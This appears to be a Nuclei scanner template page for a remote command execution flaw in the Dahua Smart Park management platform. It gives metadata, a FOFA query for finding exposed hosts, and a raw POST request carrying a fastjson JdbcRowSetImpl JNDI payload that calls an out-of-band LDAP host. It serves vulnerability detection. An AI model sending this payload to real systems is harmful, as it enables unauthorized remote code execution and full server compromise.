dahua-wpms-rce: Dahua Smart Park Integrated Management Platform - Remote Command Execution
- Template: dahua-wpms-rce
- Name: Dahua Smart Park Integrated Management Platform - Remote Command Execution
- Description: Dahua Smart Park Integrated Management Platform is vulnerable to RCE.
- Severity: critical
- Authors: DhiyaneshDK
- Tags: rce, dahua, wpms, vuln
- References: https://github.com/Vme18000yuan/FreePOC/blob/master/poc/pocsuite/dahua-zhyq-deleteftp-rce.py
- Max requests: 1
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/dahua/dahua-wpms-rce.yaml
- Digest: 4a0a00473045022100d66570a1c61d21102a6a86398f5bc4a627dd550b8f3f62004b85c022e8fcc5e702207206fdf9b3d8b3befe4b2f9a9242d041d9be6b484d470453e3f9b89ae1431b4f
- Created at: 2023-12-04T08:05:14Z
- Updated at: 2025-10-26T16:17:37Z
- Age in days: 1086
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/dahua/dahua-wpms-rce.yaml
- Checked, none or zero: cves, verified, products
- Not known: impact, remediation
Classification
- Checked, none or zero: cwe
- Not known: cvss score, cvss vector, epss score, epss percentile, cpe
Metadata
- Fofa-query: body="src=\"/WPMS/asset/common/js/jsencrypt.min.js\""
- Max-request: 1
Labels
- Name: Dahua Smart Park Integrated Management Platform - Remote Command Execution
- Impact: Remote attackers can execute arbitrary commands on the server, potentially leading to full system compromise.
- Remediation: Update to the latest version of Dahua Smart Park Integrated Management Platform.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: securitycontext
- Not known: requirements, from cve
```yaml
id: dahua-wpms-rce
info:
name: Dahua Smart Park Integrated Management Platform - Remote Command Execution
author: DhiyaneshDK
severity: critical
description: Dahua Smart Park Integrated Management Platform is vulnerable to RCE.
reference:
- https://github.com/Vme18000yuan/FreePOC/blob/master/poc/pocsuite/dahua-zhyq-deleteftp-rce.py
metadata:
max-request: 1
fofa-query: body="src=\"/WPMS/asset/common/js/jsencrypt.min.js\""
tags: rce,dahua,wpms,vuln
http:
- raw:
- |
POST /CardSolution/card/accessControl/swingCardRecord/deleteFtp HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"ftpUrl":{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://{{interactsh-url}}","autoCommit":true}}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "autoCommit"
- "set property error"
condition: and
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
digest: 4a0a00473045022100d66570a1c61d21102a6a86398f5bc4a627dd550b8f3f62004b85c022e8fcc5e702207206fdf9b3d8b3befe4b2f9a9242d041d9be6b484d470453e3f9b89ae1431b4f:922c64590222798bb761d5b6d8e72950
```